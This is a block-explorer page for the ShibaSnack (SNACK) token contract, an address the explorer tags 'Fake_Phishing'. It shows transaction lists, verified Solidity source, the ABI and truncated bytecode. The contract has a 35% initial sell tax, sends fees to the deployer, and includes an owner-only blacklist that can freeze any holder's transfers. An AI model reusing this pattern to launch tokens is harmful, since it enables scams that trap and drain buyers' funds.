ETH Price: $3,670.21 (+0.92%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve169206272023-03-27 18:53:35650 days ago1679943215IN
Fake_Phishing179270
0 ETH0.0013748229.55271535
Approve168818442023-03-22 8:07:47655 days ago1679472467IN
Fake_Phishing179270
0 ETH0.000528511.34603325
Approve168798922023-03-22 1:33:59656 days ago1679448839IN
Fake_Phishing179270
0 ETH0.0006358313.65
Approve168788592023-03-21 22:05:11656 days ago1679436311IN
Fake_Phishing179270
0 ETH0.000751416.26533661
Approve168783972023-03-21 20:31:35656 days ago1679430695IN
Fake_Phishing179270
0 ETH0.0010887923.4043491
Approve168783842023-03-21 20:28:59656 days ago1679430539IN
Fake_Phishing179270
0 ETH0.0007538116.20366944
Approve168783322023-03-21 20:18:35656 days ago1679429915IN
Fake_Phishing179270
0 ETH0.0008650918.59585644
Approve168782832023-03-21 20:08:47656 days ago1679429327IN
Fake_Phishing179270
0 ETH0.0009912821.3083062
Approve168782202023-03-21 19:56:11656 days ago1679428571IN
Fake_Phishing179270
0 ETH0.0007465416.04749501
Approve168782122023-03-21 19:54:35656 days ago1679428475IN
Fake_Phishing179270
0 ETH0.0018632440
Approve168782062023-03-21 19:53:23656 days ago1679428403IN
Fake_Phishing179270
0 ETH0.0008914619.16271252
Approve168782062023-03-21 19:53:23656 days ago1679428403IN
Fake_Phishing179270
0 ETH0.0009007719.36271252
Approve168781962023-03-21 19:51:23656 days ago1679428283IN
Fake_Phishing179270
0 ETH0.0008790719.02878552
Approve168781612023-03-21 19:43:59656 days ago1679427839IN
Fake_Phishing179270
0 ETH0.0007814916.79870394
Approve168781572023-03-21 19:43:11656 days ago1679427791IN
Fake_Phishing179270
0 ETH0.0007915116.9921347
Approve168781422023-03-21 19:40:11656 days ago1679427611IN
Fake_Phishing179270
0 ETH0.0008978819.27575143
Approve168781342023-03-21 19:38:35656 days ago1679427515IN
Fake_Phishing179270
0 ETH0.0007779116.72176592
Transfer168780882023-03-21 19:29:11656 days ago1679426951IN
Fake_Phishing179270
0 ETH0.0018233321.84029459
Approve168780332023-03-21 19:17:59656 days ago1679426279IN
Fake_Phishing179270
0 ETH0.0014050230.16302979
Approve168780172023-03-21 19:14:47656 days ago1679426087IN
Fake_Phishing179270
0 ETH0.0008985219.28947878
Approve168780102023-03-21 19:13:23656 days ago1679426003IN
Fake_Phishing179270
0 ETH0.0008590218.59479411
Approve168780102023-03-21 19:13:23656 days ago1679426003IN
Fake_Phishing179270
0 ETH0.0009534320.49479411
Approve168779992023-03-21 19:11:11656 days ago1679425871IN
Fake_Phishing179270
0 ETH0.0009393420.16581466
Approve168779992023-03-21 19:11:11656 days ago1679425871IN
Fake_Phishing179270
0 ETH0.0010265222.06581466
Approve168779892023-03-21 19:09:11656 days ago1679425751IN
Fake_Phishing179270
0 ETH0.0008723618.75207895
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
168783302023-03-21 20:18:11656 days ago1679429891
Fake_Phishing179270
0.02714715 ETH
168783302023-03-21 20:18:11656 days ago1679429891
Fake_Phishing179270
0.02714715 ETH
168781622023-03-21 19:44:23656 days ago1679427863
Fake_Phishing179270
0.05693533 ETH
168781622023-03-21 19:44:23656 days ago1679427863
Fake_Phishing179270
0.05693533 ETH
168780142023-03-21 19:14:11656 days ago1679426051
Fake_Phishing179270
0.10573514 ETH
168780142023-03-21 19:14:11656 days ago1679426051
Fake_Phishing179270
0.10573514 ETH
168779482023-03-21 19:00:59656 days ago1679425259
Fake_Phishing179270
0.12722439 ETH
168779482023-03-21 19:00:59656 days ago1679425259
Fake_Phishing179270
0.12722439 ETH
168779142023-03-21 18:54:11656 days ago1679424851
Fake_Phishing179270
0.08907455 ETH
168779142023-03-21 18:54:11656 days ago1679424851
Fake_Phishing179270
0.08907455 ETH
168778832023-03-21 18:47:59656 days ago1679424479
Fake_Phishing179270
0.10516882 ETH
168778832023-03-21 18:47:59656 days ago1679424479
Fake_Phishing179270
0.10516882 ETH
168778602023-03-21 18:43:23656 days ago1679424203
Fake_Phishing179270
0.07321254 ETH
168778602023-03-21 18:43:23656 days ago1679424203
Fake_Phishing179270
0.07321254 ETH
168778302023-03-21 18:37:23656 days ago1679423843
Fake_Phishing179270
0.04269755 ETH
168778302023-03-21 18:37:23656 days ago1679423843
Fake_Phishing179270
0.04269755 ETH
168778012023-03-21 18:31:35656 days ago1679423495
Fake_Phishing179270
0.06977432 ETH
168778012023-03-21 18:31:35656 days ago1679423495
Fake_Phishing179270
0.06977432 ETH
168777902023-03-21 18:29:11656 days ago1679423351
Fake_Phishing179270
0.15433469 ETH
168777902023-03-21 18:29:11656 days ago1679423351
Fake_Phishing179270
0.15433469 ETH
168777882023-03-21 18:28:47656 days ago1679423327
Fake_Phishing179270
0.1935717 ETH
168777882023-03-21 18:28:47656 days ago1679423327
Fake_Phishing179270
0.1935717 ETH
168777882023-03-21 18:28:47656 days ago1679423327
Fake_Phishing179270
0.11185532 ETH
168777882023-03-21 18:28:47656 days ago1679423327
Fake_Phishing179270
0.11185532 ETH
168777832023-03-21 18:27:47656 days ago1679423267
Fake_Phishing179270
0.17879141 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ShibaSnack

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
File 1 of 1 : main
// SPDX-License-Identifier: MIT
/**

https://t.me/ShibaSnack 

Come get your Shiba Snack 

Website - https://ShibaSnack.io 
Medium - https://medium.com/@ShibaSnack_ 
Twitter - https://twitter.com/ShibaSnack_ 

**/
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ShibaSnack is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=35;
    uint256 private _finalTax=2;
    uint256 private _burnTax=1;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 8;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"Shiba Snack";
    string private constant _symbol = unicode"SNACK";
    uint256 public _maxTxAmount =   20000 * 10**_decimals;
    uint256 public _maxWalletSize = 40000 * 10**_decimals;
    uint256 public _taxSwapThreshold=5000 * 10**_decimals;
    uint256 public _maxTaxSwap=20000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 burnAmount=amount.mul(_burnTax).div(100);
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount).sub(burnAmount));
        emit Transfer(from, to, amount.sub(taxAmount).sub(burnAmount));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        if(burnAmount>0){
          _balances[address(0x0)]=_balances[address(0x0)].add(burnAmount);
          emit Transfer(from, address(0x0),burnAmount);
        }
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    
    function reduceFee(uint256 _newFee) external{
      require(_buyCount>400);
      require(_newFee<=_finalTax);
      _finalTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Settings
{
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191660019081179091556005600755602360089081556002600955600a828155600b92909255601e600c55600d8290556000600e556200004a916200034d565b6200005890614e2062000365565b600f55620000696008600a6200034d565b6200007790619c4062000365565b601055620000886008600a6200034d565b620000969061138862000365565b601155620000a76008600a6200034d565b620000b590614e2062000365565b6012556014805461ffff60a81b19169055348015620000d357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191661010033021790556200013a6008600a6200034d565b6200014990620f424062000365565b336000908152600160208190526040822092909255600390620001746000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001d83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002126008600a6200034d565b6200022190620f424062000365565b60405190815260200160405180910390a36200037f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028f57816000190482111562000273576200027362000238565b808516156200028157918102915b93841c939080029062000253565b509250929050565b600082620002a85750600162000347565b81620002b75750600062000347565b8160018114620002d05760028114620002db57620002fb565b600191505062000347565b60ff841115620002ef57620002ef62000238565b50506001821b62000347565b5060208310610133831016604e8410600b841016171562000320575081810a62000347565b6200032c83836200024e565b806000190482111562000343576200034362000238565b0290505b92915050565b60006200035e60ff84168362000297565b9392505050565b808202811582820484141762000347576200034762000238565b611cb9806200038f6000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063bf474bed1161006f578063bf474bed146103ad578063c876d0b9146103c3578063c9567bf9146103dd578063d34628cc146103f2578063dd62ed3e14610412578063ec1f3f631461045857600080fd5b8063751039fc146102f65780637d1db4a51461030b5780638da5cb5b146103215780638f9a55c01461034957806395d89b411461035f578063a9059cbb1461038d57600080fd5b8063313ce56711610108578063313ce5671461021f57806331c2d8471461023b5780633bbac5791461025d57806351bc3c851461029657806370a08231146102ab578063715018a6146102e157600080fd5b806306fdde0314610150578063095ea7b3146101965780630faee56f146101c657806318160ddd146101ea57806323b872dd146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a536869626120536e61636b60a81b60208201525b60405161018d9190611787565b60405180910390f35b3480156101a257600080fd5b506101b66101b13660046117fa565b610478565b604051901515815260200161018d565b3480156101d257600080fd5b506101dc60125481565b60405190815260200161018d565b3480156101f657600080fd5b506101dc61048f565b34801561020b57600080fd5b506101b661021a366004611826565b6104af565b34801561022b57600080fd5b506040516008815260200161018d565b34801561024757600080fd5b5061025b61025636600461187d565b610518565b005b34801561026957600080fd5b506101b6610278366004611942565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102a257600080fd5b5061025b6105b7565b3480156102b757600080fd5b506101dc6102c6366004611942565b6001600160a01b031660009081526001602052604090205490565b3480156102ed57600080fd5b5061025b61060b565b34801561030257600080fd5b5061025b61067f565b34801561031757600080fd5b506101dc600f5481565b34801561032d57600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561035557600080fd5b506101dc60105481565b34801561036b57600080fd5b50604080518082019091526005815264534e41434b60d81b6020820152610180565b34801561039957600080fd5b506101b66103a83660046117fa565b610738565b3480156103b957600080fd5b506101dc60115481565b3480156103cf57600080fd5b506006546101b69060ff1681565b3480156103e957600080fd5b5061025b610745565b3480156103fe57600080fd5b5061025b61040d36600461187d565b610aff565b34801561041e57600080fd5b506101dc61042d36600461195f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046457600080fd5b5061025b610473366004611998565b610b91565b6000610485338484610bb5565b5060015b92915050565b600061049d6008600a611aab565b6104aa90620f4240611aba565b905090565b60006104bc848484610cd9565b61050e843361050985604051806060016040528060288152602001611c5c602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113e6565b610bb5565b5060019392505050565b6000546001600160a01b0316331461054b5760405162461bcd60e51b815260040161054290611ad1565b60405180910390fd5b60005b81518110156105b35760006004600084848151811061056f5761056f611b06565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ab81611b1c565b91505061054e565b5050565b60065461010090046001600160a01b0316336001600160a01b0316146105dc57600080fd5b3060009081526001602052604090205480156105fb576105fb81611420565b4780156105b3576105b38161159a565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161054290611ad1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106a95760405162461bcd60e51b815260040161054290611ad1565b6106b56008600a611aab565b6106c290620f4240611aba565b600f556106d16008600a611aab565b6106de90620f4240611aba565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107186008600a611aab565b61072590620f4240611aba565b60405190815260200160405180910390a1565b6000610485338484610cd9565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161054290611ad1565b601454600160a01b900460ff16156107c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610542565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108119030906108046008600a611aab565b61050990620f4240611aba565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108889190611b35565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e9190611b35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561095b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097f9190611b35565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109c7816001600160a01b031660009081526001602052604090205490565b6000806109dc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a44573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a699190611b52565b50506014805462ff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc9190611b80565b50565b6000546001600160a01b03163314610b295760405162461bcd60e51b815260040161054290611ad1565b60005b81518110156105b357600160046000848481518110610b4d57610b4d611b06565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8981611b1c565b915050610b2c565b610190600e5411610ba157600080fd5b600954811115610bb057600080fd5b600955565b6001600160a01b038316610c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610542565b6001600160a01b038216610c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610542565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610542565b6001600160a01b038216610d9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610542565b60008111610e015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610542565b600080610e246064610e1e600a54866115d890919063ffffffff16565b90611661565b9050610e386000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610e6757506000546001600160a01b03858116911614155b156111e4576001600160a01b03851660009081526004602052604090205460ff16158015610eae57506001600160a01b03841660009081526004602052604090205460ff16155b610eb757600080fd5b610edd6064610e1e600b54600e5411610ed257600754610ed6565b6009545b86906115d8565b60065490925060ff1615610fc5576013546001600160a01b03858116911614801590610f1757506014546001600160a01b03858116911614155b15610fc557326000908152600560205260409020544311610fb25760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610542565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ff057506013546001600160a01b03858116911614155b801561101557506001600160a01b03841660009081526003602052604090205460ff16155b156110fd57600f5483111561106c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610542565b6010548361108f866001600160a01b031660009081526001602052604090205490565b6110999190611ba2565b11156110e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610542565b600e80549060006110f783611b1c565b91905055505b6014546001600160a01b03858116911614801561112357506001600160a01b0385163014155b15611146576111436064610e1e600c54600e5411610ed257600854610ed6565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561117d57506014546001600160a01b038681169116145b80156111925750601454600160b01b900460ff165b801561119f575060115481115b80156111ae5750600d54600e54115b156111e2576111d06111cb856111c6846012546116a3565b6116a3565b611420565b4780156111e0576111e04761159a565b505b505b6001600160a01b03851660009081526001602052604090205461120790846116b8565b6001600160a01b0386166000908152600160205260409020556112566112378261123186866116b8565b906116b8565b6001600160a01b038616600090815260016020526040902054906116fa565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a48461123188886116b8565b60405190815260200160405180910390a3811561132f57306000908152600160205260409020546112d590836116fa565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113269086815260200190565b60405180910390a35b80156113df576000805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461136a90826116fa565b600080805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49919091556040516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa